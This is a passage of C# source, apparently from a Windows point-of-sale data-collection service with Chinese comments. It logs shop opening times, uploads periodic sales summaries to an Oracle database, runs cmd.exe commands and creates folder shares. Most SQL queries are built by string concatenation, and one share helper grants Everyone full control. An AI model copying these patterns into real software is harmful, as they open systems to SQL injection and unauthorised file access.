= _DataTable.Rows[0][0].ToString(); if (_duration != "") _duration = ((Convert.ToDecimal(_ts) - (Convert.ToDecimal(_duration))) / 3600).ToString("F2"); else _duration = (Convert.ToDecimal(_ts) / 3600).ToString("F2"); } string sellstartdate = Selldata_Date(startdate, enddate, "MIN", isNewSystem); string sellenddate = Selldata_Date(startdate, enddate, "MAX", isNewSystem); ticket_startinfo = Ticket_Info(startdate, enddate, "MIN", isNewSystem); ticket_endinfo = Ticket_Info(startdate, enddate, "MAX", isNewSystem); _sqlstr = "select count(*) from t_businesstime where endaccount_startdate = datetime('" + startdate + "') and endaccount_date = datetime('" + enddate + "') and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'"; if (Convert.ToInt32(ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0].Rows[0][0]) > 0) { _sqlstr = "select * from t_businesstime where endaccount_startdate = datetime('" + startdate + "') and endaccount_date = datetime('" + enddate + "') and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'"; DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0]; string strupdate = "update t_businesstime set businesstime_state = 0 "; if (_shutup != "") { strupdate += ",business_opentime = datetime('" + _shutup + "')"; } if (_shutdown != "") { strupdate += ",business_closetime = datetime('" + _shutdown + "')"; } if (_duration != "") { strupdate += ",business_time = " + _duration; } //else //{ // TimeSpan ts = DateTime.Now.Subtract(Convert.ToDateTime(_DataTable.Rows[0]["business_closetime"])); // if (ts.TotalSeconds < 300) // { // strupdate += ",business_closetime = datetime('" + _shutdown + "')"; // } //} if (sellstartdate != "") { strupdate += ",business_starttime = datetime('" + sellstartdate + "'),business_startinfo = '" + ticket_startinfo + "'"; } if (sellenddate != "") { strupdate += ",business_endtime = datetime('" + sellenddate + "'),business_endinfo = '" + ticket_endinfo + "'"; } strupdate += " where endaccount_startdate = datetime('" + startdate + "') and endaccount_date = datetime('" + enddate + "') and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'"; try { Lib.SyBaseHelper.ExecuteSqlTran(strupdate); } catch (Exception ex) { LogHelper.WriteServiceLog("营业信息更新:" + ex.Message); } } else { try { try { maxid = Convert.ToInt32(ESSupport.Lib.SyBaseHelper.QueryOdbc("select max(businesstime_id) from t_businesstime").Tables[0].Rows[0][0]); } catch { maxid = 0; } string _insertany = "INSERT INTO T_BUSINESSTIME(BUSINESSTIME_ID,SERVERPARTCODE,SHOPCODE," + "MACHINECODE,ENDACCOUNT_STARTDATE,ENDACCOUNT_DATE,BUSINESS_OPENTIME," + "BUSINESS_CLOSETIME,BUSINESS_STARTTIME,BUSINESS_ENDTIME,BUSINESS_STARTINFO," + "BUSINESS_ENDINFO,BUSINESSTIME_STATE,BUSINESS_TIME) VALUES(" + (maxid + 1) + ",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "','" + startdate + "','" + enddate + "'," + (_shutup == "" ? "null" : "'" + _shutup + "'") + "," + (_shutdown == "" ? "null" : "'" + _shutdown + "'") + "," + (sellstartdate == "" ? "null" : "'" + sellstartdate + "'") + "," + (sellenddate == "" ? "null" : "'" + sellenddate + "'") + "," + (ticket_startinfo == "" ? "null" : "'" + ticket_startinfo + "'") + "," + (ticket_endinfo == "" ? "null" : "'" + ticket_endinfo + "'") + ",0," + (_duration == "" ? "null" : _duration) + ")"; string strUpdate = "UPDATE T_BUSINESSTIME SET BUSINESSTIME_STATE = 2 " + "WHERE ENDACCOUNT_STARTDATE <> DATETIME('" + startdate + "') AND ENDACCOUNT_DATE <> DATETIME('" + enddate + "') AND SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(new List { _insertany, strUpdate }); } catch (Exception ex) { LogHelper.WriteServiceLog("营业信息采集:" + ex.Message); } } } } catch (Exception ex) { LogHelper.WriteServiceLog("BusinessTime:" + ex.Message); } } #endregion #region 数据采集 /// /// 数据采集 /// /// /// private void timer_datacollection_Tick(object sender, EventArgs e) { string _shutup = GetLogDateTime("System", 6005, DateTime.Now, false); if (_shutup == "") _shutup = _DataDateTime.ToString("yyyy/MM/dd HH:mm:ss"); string _sqlstr, ticket_info = "", commodity = "", SellDetail = ""; int maxid = 0; // 单品数:goods_count,客单数:ticket_count,销售数:sell_count,销售额:fact_sum,单笔优惠:offprice,单笔金额:fact_amount decimal goods_count = 0, ticket_count = 0, sell_count = 0, fact_sum = 0, offprice = 0, fact_amount = 0; if (ActiveLogging()) { _RunDateTime = DateTime.Now; } bool isNewSystem = _QualityHelper.ConfigurationValues("NewSystem", "0") == "1"; try { DateTime datacollection = DateTime.Parse(_shutup); if ((DateTime.Now - datacollection).Minutes % 10 == 0 && ISdatacollection == false) //if ((DateTime.Now.Minute.ToString().PadLeft(2, '0') == "00" || DateTime.Now.Minute.ToString().PadLeft(2, '0') == "30") && ISdatacollection == false) { string _strServerPartCode = _QualityHelper.serverpartcode; string _strShopCode = _QualityHelper.shopcode; string _strServiceIP = _QualityHelper.dbip; string _strServicePort = _QualityHelper.serviceport; string _strServicePort2 = _QualityHelper.ConfigurationValues("service_port2", "7080"); string _strDataService = _QualityHelper.ConfigurationValues("DataServicePort", "7080"); string _strBusinessType = ""; try { _strBusinessType = Lib.SyBaseHelper.QueryOdbc(string.Format("SELECT BUSINESSTYPE FROM T_SHOPMESSAGE " + "WHERE SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}'", _strServerPartCode, _strShopCode)).Tables[0].Rows[0]["BUSINESSTYPE"].ToString(); } catch { } try { PayCheck(_QualityHelper.dbip, _QualityHelper.serviceport, _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode, DateTime.Today.AddDays(-3)); } catch { } try { MobilePayConfigUpdate(_strServiceIP, new string[] { _strDataService, _strServicePort, _strServicePort2 }, _strServerPartCode, _strBusinessType); } catch { } BusinessTime(isNewSystem); SoftCheck(); string _mac = GetMacAddressByNetworkInformation(); if (_mac == string.Empty) return; ISdatacollection = true; DateTime _datacollection_date = DateTime.Now; if (isNewSystem) { _sqlstr = string.Format("SELECT COUNT(DISTINCT (A.COMMODITY_CODE)) AS GOODS_COUNT," + "COUNT(DISTINCT(A.SELLMASTER_CODE)) AS TICKET_COUNT,ISNULL(SUM(A.SELLDETAILS_COUNT), 0) AS SELL_COUNT," + "ISNULL(SUM(A.SELLDETAILS_AMOUNT), 0) AS FACT_SUM FROM T_SELLDETAILS A, T_SELLMASTER B " + "WHERE A.SELLMASTER_CODE = B.SELLMASTER_CODE AND B.SERVERPARTCODE = '{0}' AND B.SHOPCODE = '{1}' " + "AND B.MACHINECODE = '{2}' AND B.SELLMASTER_DATE BETWEEN DATETIME('{3}') AND NOW()", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode, _datacollection_date.AddMinutes(-10).ToString("yyyy/MM/dd HH:mm")); } else { _sqlstr = "SELECT COUNT(DISTINCT(COMMODITY_CODE)) AS GOODS_COUNT," + "COUNT(DISTINCT(TICKETCODE)) AS TICKET_COUNT,ISNULL(SUM(SELLCOUNT),0) AS SELL_COUNT," + "ISNULL(SUM(FACTAMOUNT),0) AS FACT_SUM FROM T_SELLDATA WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "' AND SELLDATA_DATE BETWEEN DATETIME('" + _datacollection_date.AddMinutes(-10).ToString("yyyy/MM/dd HH:mm") + "') AND NOW()"; } DataTable _dt = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0]; goods_count = Convert.ToDecimal(_dt.Rows[0]["GOODS_COUNT"].ToString()); ticket_count = Convert.ToDecimal(_dt.Rows[0]["TICKET_COUNT"].ToString()); sell_count = Convert.ToDecimal(_dt.Rows[0]["SELL_COUNT"].ToString()); fact_sum = Convert.ToDecimal(_dt.Rows[0]["FACT_SUM"].ToString()); if (goods_count > 0) { if (isNewSystem) { _sqlstr = string.Format("SELECT B.SELLMASTER_DATE AS SELLDATA_DATE,B.TICKET_CODE AS TICKETCODE," + "B.SELLWORKER_NAME AS SELLWORKERNAME,A.COMMODITY_CODE," + "A.SELLDETAILS_COUNT AS SELLCOUNT,A.SELLDETAILS_PRICE AS SELLPRICE," + "A.SELLDETAILS_OFFPRICE AS OFFPRICE,A.SELLDETAILS_AMOUNT AS FACTAMOUNT " + "FROM T_SELLDETAILS A,T_SELLMASTER B WHERE A.SELLMASTER_CODE = B.SELLMASTER_CODE " + "AND B.SELLMASTER_CODE = ( SELECT TOP 1 SELLMASTER_CODE FROM T_SELLMASTER " + "WHERE SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' AND MACHINECODE = '{2}' AND " + "SELLMASTER_DATE BETWEEN TODAY() AND NOW() ORDER BY ISNULL(SELLMASTER_AMOUNT,0) DESC," + "SELLMASTER_DATE DESC)", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode); } else { _sqlstr = "SELECT A.SELLDATA_DATE,A.TICKETCODE,B.SELLWORKERNAME,A.COMMODITY_CODE," + "A.SELLCOUNT,A.SELLPRICE,A.OFFPRICE,A.FACTAMOUNT FROM T_SELLDATA A,T_SELLWORKER B " + "WHERE B.SELLWORKERCODE=A.WORKERCODE AND B.SERVERPARTCODE=A.SERVERPARTCODE AND " + "A.SELLDATA_DATE = ( SELECT TOP 1 SELLDATA_DATE FROM T_SELLDATA WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "' AND SELLDATA_DATE BETWEEN TODAY() AND NOW() GROUP BY SELLDATA_DATE " + "ORDER BY ISNULL(SUM(FACTAMOUNT),0) DESC,SELLDATA_DATE DESC)"; } DataTable _selldata = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0]; if (_selldata.Rows.Count > 0) { foreach (DataRow dr in _selldata.Rows) { commodity += (commodity == "" ? "" : ",") + dr["COMMODITY_CODE"].ToString(); SellDetail += (SellDetail == "" ? "" : ",") + "(" + dr["SELLCOUNT"].ToString() + "*" + dr["SELLPRICE"].ToString() + ")"; offprice += Convert.ToDecimal(dr["OFFPRICE"]); fact_amount += Convert.ToDecimal(dr["FACTAMOUNT"]); } ticket_info = Convert.ToDateTime(_selldata.Rows[0]["SELLDATA_DATE"]).ToString("yyyy/MM/dd HH:mm:ss") + "|" + _selldata.Rows[0]["TICKETCODE"].ToString() + "|" + _selldata.Rows[0]["SELLWORKERNAME"].ToString() + "|" + commodity + "|" + SellDetail + "|" + offprice.ToString("F2") + "|" + fact_amount.ToString("F2"); string _insert = "INSERT INTO " + dbname + ".T_DATACOLLECTION(DATACOLLECTION_ID,SERVERPARTCODE," + "SHOPCODE,MACHINECODE,MACADDRESS,MACHINENAME,DATACOLLECTION_TYPE,DATACOLLECTION_DATE," + "TOTAL_COUNT,TOTALSELL_AMOUNT,TICKET_COUNT,TICKET_INFO) VALUES (" + dbname + ".SEQ_DATACOLLECTION.NEXTVAL,'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "','" + _mac + "','" + GetMachineName() + "',1000,TO_DATE('" + _datacollection_date.ToString("yyyy/MM/dd HH:mm:ss") + "','YYYY/MM/DD HH24:MI:SS')," + sell_count + "," + fact_sum + "," + ticket_count + ",'" + ticket_info + "')"; OracleConnection conn = QueryOracle(); try { conn.Open(); OracleCommand ocm = new OracleCommand(_insert, conn); ocm.ExecuteNonQuery(); conn.Close(); conn.Dispose(); } catch (Exception ex) { conn.Close(); conn.Dispose(); LogHelper.WriteServiceLog("数据采集上传:" + ex.Message); } try { try { maxid = Convert.ToInt32(ESSupport.Lib.SyBaseHelper.QueryOdbc("SELECT MAX(DATACOLLECTION_ID) " + "FROM T_DATACOLLECTION").Tables[0].Rows[0][0]); } catch { maxid = 0; } string _insertany = "INSERT INTO T_DATACOLLECTION(DATACOLLECTION_ID,SERVERPARTCODE," + "SHOPCODE,MACHINECODE,MACADDRESS,MACHINENAME,DATACOLLECTION_TYPE," + "DATACOLLECTION_DATE,TOTAL_COUNT,TOTALSELL_AMOUNT,TICKET_COUNT,TICKET_INFO) " + "VALUES(" + (maxid + 1) + ",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "','" + _mac + "','" + GetMachineName() + "',2000,DATETIME('" + _datacollection_date.ToString("yyyy/MM/dd HH:mm:ss") + "')," + sell_count + "," + fact_sum + "," + ticket_count + ",'" + ticket_info + "')"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(_insertany); } catch (Exception ex) { LogHelper.WriteServiceLog("数据采集本地保存:" + ex.Message); } } } } else if ((DateTime.Now - datacollection).Minutes % 10 != 0) { if (ISdatacollection) ISdatacollection = false; } } catch (Exception ex) { LogHelper.WriteServiceLog("数据采集:" + ex.Message); } } #endregion #region 版本信息校验 private void SoftCheck() { DataSet _dataSet = new DataSet(); using (OracleConnection _oracleconn = QueryOracle()) { try { string _select = string.Format("SELECT SF_TYPE,SF_BUILD,SF_CHECK,SF_CHECKDAY " + "FROM {0}.T_SYSCODE WHERE SERVERPARTCODE = '{1}'", dbname, SERVERPARTCODE); OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_select, _oracleconn); _OracleDataAdapter.Fill(_dataSet, "T_SYSCODE"); DataTable _dataTable = _dataSet.Tables["T_SYSCODE"]; if (_dataTable.Rows.Count > 0) { string sf_type = _dataTable.Rows[0]["SF_TYPE"].ToString(); string sf_build = _dataTable.Rows[0]["SF_BUILD"].ToString(); string sf_check = _dataTable.Rows[0]["SF_CHECK"].ToString(); string sf_checkday = _dataTable.Rows[0]["SF_CHECKDAY"].ToString(); if (sf_type != "") { sf_type = System.RealEstate_Extend.ToDecrypt(sf_type); UpdateConfigUration("sf_type", sf_type); } if (sf_build != "") { sf_build = System.RealEstate_Extend.ToDecrypt(sf_build); UpdateConfigUration("sf_build", sf_build); } if (sf_check != "") { sf_check = System.RealEstate_Extend.ToDecrypt(sf_check); UpdateConfigUration("sf_check", sf_check); } if (sf_checkday != "") { sf_checkday = System.RealEstate_Extend.ToDecrypt(sf_checkday); UpdateConfigUration("sf_checkday", sf_checkday); } } } catch (Exception ex) { LogHelper.WriteServiceLog("系统数据传输校验:" + ex.Message); } } } #endregion private double ManagerDoubleValue(double _value, int Length) { if (Length < 0) { Length = 0; } return Math.Round(_value, Length); } /// /// 获取硬盘使用信息 /// /// private List GetDiskListInfo() { List list = null; try { SelectQuery selectQuery = new SelectQuery("select * from win32_logicaldisk"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery); ManagementObjectCollection diskcollection = searcher.Get(); if (diskcollection != null && diskcollection.Count > 0) { list = new List(); hardiskPartition harddisk = null; foreach (ManagementObject disk in searcher.Get()) { int nType = Convert.ToInt32(disk["DriveType"]); if (nType != Convert.ToInt32(DriveType.Fixed)) { continue; } else { harddisk = new hardiskPartition(); harddisk.FreeSpace = Convert.ToDouble(disk["FreeSpace"]) / (1024 * 1024 * 1024); harddisk.SumSpace = Convert.ToDouble(disk["Size"]) / (1024 * 1024 * 1024); harddisk.PartitionName = disk["DeviceID"].ToString(); list.Add(harddisk); } } } } catch (Exception ex) { LogHelper.WriteServiceLog("硬盘使用信息:" + ex.Message); } return list; } #region 方法->多线程弹窗 /// /// 多线程弹窗 /// /// 进程名 /// 内存地址 public void invokeShow(string _process, string _memory) { Form f1 = new message(_process, _memory); Invoke(new EventHandler(showForm), new object[] { f1, null }); } public void showForm(object sender, EventArgs e) { Form f1 = sender as message; f1.Show(); } #endregion /// /// 随机十六进制值 /// /// 长度 /// 是否挂起线程 /// public static string Str_char(int Length, bool Sleep) { if (Sleep) Thread.Sleep(3); char[] Pattern = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; string result = ""; int n = Pattern.Length; Random random = new Random(~unchecked((int)DateTime.Now.Ticks)); for (int i = 0; i < Length; i++) { int rnd = random.Next(0, n); result += Pattern[rnd]; } return result; } /// /// 结束指定多个不同进程 /// /// 进程名称列表 /// public bool KillExe(string[] strProNameList) { if (strProNameList == null) { return true; } foreach (string strProName in strProNameList) { Process[] processes = Process.GetProcessesByName(strProName.Substring(0, strProName.LastIndexOf('.'))); //同程序名的所有进程 foreach (Process p in processes)//判断当前进程中是否已有该程序 { if (p.MainModule.ModuleName == strProName)//通过程序路径判断,而不能通过程序名判断 { string strVN = p.MainModule.FileVersionInfo.FileVersion; //获取进程中正在运行的这个程序的版本号 p.Kill(); // 结束进程 } } } return true; } /// /// 结束指定单个进程 /// /// 进程名称 /// public bool KillExe(string strProName) { if (strProName == null) { return true; } try { Process[] processes = Process.GetProcessesByName(strProName.Substring(0, strProName.LastIndexOf('.'))); //同程序名的所有进程 foreach (Process p in processes)//判断当前进程中是否已有该程序 { if (p.MainModule.ModuleName == strProName)//通过程序路径判断,而不能通过程序名判断 { string strVN = p.MainModule.FileVersionInfo.FileVersion; //获取进程中正在运行的这个程序的版本号 p.Kill(); // 结束进程 } } } catch { } return true; } #region 方法-> 运行Dos命令 /// /// 运行Dos命令并返回结果 /// /// Dos命令 /// 进程等待时间(毫秒) /// public static string Execute(string command, int seconds = 2000) { string output = ""; //输出字符串      if (command != null && !command.Equals("")) { Process process = new Process();//创建进程对象      ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.FileName = "cmd.exe";//设定需要执行的命令      startInfo.Arguments = "/C " + command;//“/C”表示执行完命令后马上退出      startInfo.UseShellExecute = false;//不使用系统外壳程序启动      startInfo.RedirectStandardInput = false;//不重定向输入      startInfo.RedirectStandardOutput = true; //重定向输出      startInfo.CreateNoWindow = true;//不创建窗口      process.StartInfo = startInfo; try { if (process.Start())//开始进程      { if (seconds == 0) { process.WaitForExit();//这里无限等待进程结束      } else { process.WaitForExit(seconds); //等待进程结束,等待时间为指定的毫秒      } output = process.StandardOutput.ReadToEnd();//读取进程的输出      } } catch { } finally { if (process != null) process.Close(); } } return output; } #endregion /// /// 获取开关机时间 /// /// 系统日志名称 /// 事件ID /// 基准时间 /// 是否大于基准时间 /// public string GetLogDateTime(string _LogName, int _EventID, DateTime _DateTime, bool _bool) { List _DateTimeList = new List(); //DateTime _datetime = DateTime.Parse("2000/01/01 00:00:00"); string _datetime = ""; EventLog el = new EventLog(_LogName); if (_bool) { foreach (EventLogEntry l in el.Entries) { if (l.EventID == _EventID && l.TimeGenerated >= _DateTime) { _DateTimeList.Add(l.TimeGenerated); } } if (_DateTimeList.Count > 0) _datetime = _DateTimeList.Min().ToString("yyyy/MM/dd HH:mm:ss"); } else { foreach (EventLogEntry l in el.Entries) { if (l.EventID == _EventID && l.TimeGenerated <= _DateTime) { _DateTimeList.Add(l.TimeGenerated); } } if (_DateTimeList.Count > 0) _datetime = _DateTimeList.Max().ToString("yyyy/MM/dd HH:mm:ss"); } return _datetime; } /// /// 配置文件更新 /// public void ConfigUpdate() { try { string _machinecode = "", _serverpartcode = "", _shopcode = ""; string _configsql = "select configuration_name,configuration_values from dba.t_configuration " + "where configuration_name in ('server_ip','serverpartcode','shopcode','machinecode')"; DataTable _DataTable = Lib.SyBaseHelper.QueryOdbc(_configsql).Tables[0]; if (_DataTable.Rows.Count > 0) { foreach (DataRow configrd in _DataTable.Rows) { if (configrd["configuration_name"].ToString().ToLower() == "serverpartcode") { _serverpartcode = configrd["configuration_values"].ToString(); if (_serverpartcode != "") { Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\setup.ini", "DBCONECT", "serverpartcode", _serverpartcode); Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\set.ini", "DBCONECT", "serverpartcode", _serverpartcode); } } else if (configrd["configuration_name"].ToString().ToLower() == "shopcode") { _shopcode = configrd["configuration_values"].ToString(); if (_shopcode != "") { Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\setup.ini", "DBCONECT", "shopcode", _shopcode); Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\set.ini", "DBCONECT", "shopcode", _shopcode); } } else if (configrd["configuration_name"].ToString().ToLower() == "machinecode") { _machinecode = configrd["configuration_values"].ToString(); if (_machinecode != "") { Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\setup.ini", "DBCONECT", "machinecode", _machinecode); Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\set.ini", "DBCONECT", "machinecode", _machinecode); } } else if (configrd["configuration_name"].ToString().ToLower() == "server_ip") { dbip = configrd["configuration_values"].ToString(); if (dbip != "") { Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\setup.ini", "DBCONECT", "dbip", dbip); Lib.Win32API.INIWriteValue(AppDomain.CurrentDomain.BaseDirectory + "\\set.ini", "DBCONECT", "dbip", dbip); } } } } } catch { } } /// /// 获取物理网卡mac地址 /// /// public string GetMacAddressByNetworkInformation() { string key = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\"; string macAddress = string.Empty; try { NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces(); foreach (NetworkInterface adapter in nics) { if (adapter.NetworkInterfaceType == NetworkInterfaceType.Ethernet && adapter.GetPhysicalAddress().ToString().Length != 0) { string fRegistryKey = key + adapter.Id + "\\Connection"; RegistryKey rk = Registry.LocalMachine.OpenSubKey(fRegistryKey, false); if (rk != null) { string fPnpInstanceID = rk.GetValue("PnpInstanceID", "").ToString(); int fMediaSubType = Convert.ToInt32(rk.GetValue("MediaSubType", 0)); if (fPnpInstanceID.Length > 3 && fPnpInstanceID.Substring(0, 3) == "PCI") { macAddress = adapter.GetPhysicalAddress().ToString(); for (int i = 1; i < 6; i++) { macAddress = macAddress.Insert(3 * i - 1, ":"); } break; } } } } } catch (Exception ex) { LogHelper.WriteServiceLog("获取MAC地址:" + ex.Message); macAddress = string.Empty; } return macAddress; } /// /// 设置文件夹共享 /// /// 文件夹路径 /// 共享名 /// 共享注释 /// public static int ShareNetFolder(string FolderPath, string ShareName, string Description) { try { ManagementClass managementClass = new ManagementClass("Win32_Share"); // Create ManagementBaseObjects for in and out parameters ManagementBaseObject inParams = managementClass.GetMethodParameters("Create"); ManagementBaseObject outParams; // Set the input parameters inParams["Description"] = Description; inParams["Name"] = ShareName; inParams["Path"] = FolderPath; inParams["Type"] = 0x0; // Disk Drive outParams = managementClass.InvokeMethod("Create", inParams, null); // Check to see if the method invocation was successful if ((uint)(outParams.Properties["ReturnValue"].Value) != 0) { throw new Exception("Unable to share directory."); } //设置所有人可读 DirectorySecurity fSec = new DirectorySecurity(); fSec.AddAccessRule(new FileSystemAccessRule(@"Everyone", FileSystemRights.FullControl, AccessControlType.Allow)); Directory.SetAccessControl(FolderPath, fSec); } catch { return -1; } return 0; } /// /// 取消文件夹共享 /// /// 文件夹的共享名 /// public static int CancelShareNetFolder(string ShareName) { try { SelectQuery selectQuery = new SelectQuery("Select * from Win32_Share Where Name = '" + ShareName + "'"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery); foreach (ManagementObject mo in searcher.Get()) { mo.InvokeMethod("Delete", null, null); } } catch { return -1; } return 0; } private void UpdateApp() { //try //{ // Version oldVersion = new Version(FileVersionInfo.GetVersionInfo(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "AutoUpdateEx.exe")).FileVersion); // Version newVersion = new Version(2, 0, 0, 6); // if (oldVersion < newVersion) // { // byte[] Save = ConnectPoint.Properties.Resources.AutoUpdateEx; // FileStream fsObj = new FileStream(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "AutoUpdateEx.exe"), FileMode.Create); // fsObj.Write(Save, 0, Save.Length); // fsObj.Close(); // } //} //catch { } } private string Selldata_Date(string startdate, string enddate, string maxmin, bool isNewSystem) { string selldata_date = ""; string _sqlstr = ""; if (isNewSystem) { _sqlstr = string.Format("SELECT {0}(SELLMASTER_DATE) FROM T_SELLMASTER WHERE SERVERPARTCODE = '{1}' AND " + "SHOPCODE = '{2}' AND MACHINECODE = '{3}' AND SELLMASTER_DATE BETWEEN DATETIME('{4}') AND DATETIME('{5}')", maxmin, _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode, startdate, enddate); } else { _sqlstr = "SELECT " + maxmin + "(SELLDATA_DATE) FROM T_SELLDATA " + "WHERE SELLDATA_DATE BETWEEN DATETIME('" + startdate + "') AND DATETIME('" + enddate + "') AND SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "'"; } DataTable _selldata = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0]; if (_selldata.Rows.Count > 0) { selldata_date = _selldata.Rows[0][0].ToString(); } return selldata_date; } /// /// 获取首末笔流水信息 /// /// /// /// /// private string Ticket_Info(string startdate, string enddate, string maxmin, bool isNewSystem) { string _sqlstr, ticket_info = "", commodity = "", SellDetail = ""; int maxid = 0; // 单品数:goods_count,客单数:ticket_count,销售数:sell_count,销售额:fact_sum,单笔优惠:offprice,单笔金额:fact_amount decimal goods_count = 0, ticket_count = 0, sell_count = 0, fact_sum = 0, offprice = 0, fact_amount = 0; if (isNewSystem) { _sqlstr = string.Format("SELECT A.SELLMASTER_DATE AS SELLDATA_DATE,A.TICKET_CODE AS TICKETCODE," + "A.SELLWORKER_NAME AS SELLWORKERNAME,B.COMMODITY_CODE AS COMMODITY_CODE," + "B.SELLDETAILS_COUNT AS SELLCOUNT,B.SELLDETAILS_PRICE AS SELLPRICE,B.SELLDETAILS_OFFPRICE AS OFFPRICE," + "B.SELLDETAILS_AMOUNT AS FACTAMOUNT FROM T_SELLMASTER A,T_SELLDETAILS B " + "WHERE A.SELLMASTER_CODE = B.SELLMASTER_CODE AND A.SELLMASTER_DATE = ( " + "SELECT {0}(SELLMASTER_DATE) FROM T_SELLMASTER WHERE SERVERPARTCODE = '{1}' AND SHOPCODE = '{2}' " + "AND MACHINECODE = '{3}' AND SELLMASTER_DATE BETWEEN DATETIME('{4}') AND DATETIME('{5}'))", maxmin, _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode, startdate, enddate); } else { _sqlstr = "SELECT A.SELLDATA_DATE,A.TICKETCODE,B.SELLWORKERNAME,A.COMMODITY_CODE," + "A.SELLCOUNT,A.SELLPRICE,A.OFFPRICE,A.FACTAMOUNT FROM T_SELLDATA A,T_SELLWORKER B " + "WHERE B.SELLWORKERCODE=A.WORKERCODE AND B.SERVERPARTCODE=A.SERVERPARTCODE AND " + "A.SELLDATA_DATE = ( SELECT " + maxmin + "(SELLDATA_DATE) FROM T_SELLDATA " + "WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "' AND SELLDATA_DATE BETWEEN DATETIME('" + startdate + "') AND DATETIME('" + enddate + "'))"; } DataTable _selldata = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0]; if (_selldata.Rows.Count > 0) { commodity = ""; SellDetail = ""; offprice = 0; fact_amount = 0; foreach (DataRow dr in _selldata.Rows) { commodity += (commodity == "" ? "" : ",") + dr["commodity_code"].ToString(); SellDetail += (SellDetail == "" ? "" : ",") + "(" + dr["sellcount"].ToString() + "*" + dr["sellprice"].ToString() + ")"; offprice += Convert.ToDecimal(dr["offprice"]); fact_amount += Convert.ToDecimal(dr["factamount"]); } ticket_info = Convert.ToDateTime(_selldata.Rows[0]["selldata_date"]).ToString("yyyy/MM/dd HH:mm:ss") + "|" + _selldata.Rows[0]["ticketcode"].ToString() + "|" + _selldata.Rows[0]["sellworkername"].ToString() + "|" + commodity + "|" + SellDetail + "|" + offprice.ToString("F2") + "|" + fact_amount.ToString("F2"); } return ticket_info; } public static DataTable ConvertOraclTableToDoNetTable(DataTable table) { DataTable dt = new DataTable(); foreach (DataColumn dc in table.Columns) { DataColumn column = new DataColumn(); column.DataType = GetDataType(dc.DataType); column.ColumnName = dc.ColumnName; column.Caption = dc.Caption; dt.Columns.Add(column); } dt.TableName = table.TableName; dt.Merge(table, false, MissingSchemaAction.Ignore); return dt; } public static Type GetDataType(Type dataType) { switch (dataType.ToString()) { case "System.Double": return System.Type.GetType("System.Decimal"); case "System.Int32": return System.Type.GetType("System.Decimal"); case "System.Int16": return System.Type.GetType("System.Decimal"); case "System.Int64": return System.Type.GetType("System.Decimal"); default: return dataType; } } public static string GetDataType(DataTable table) { switch (table.TableName) { case "T_ENDACCOUNT": return "1001,1002"; case "T_PERSONSELL": return "2001"; case "T_TRANSFER_SALE": return "3001"; case "T_MOBILE_PAY": return "4001"; default: return ""; } } #region 方法 --> 更新本地配置信息 /// /// 更新本地配置信息 /// /// 配置名称 /// 配置内容 /// public static bool UpdateConfigUration(string ConfigUration_Name, string ConfigUration_Values) { string strsql = "select 1 from t_configuration where lower(configuration_name) = lcase('" + ConfigUration_Name + "')"; if (Lib.SyBaseHelper.QueryOdbc(strsql).Tables[0].Rows.Count == 0) { decimal maxid = 0; try { maxid = decimal.Parse(Lib.SyBaseHelper.QueryOdbc("select max(configuration_id) from t_configuration").Tables[0].Rows[0][0].ToString()); } catch (Exception ex) { maxid 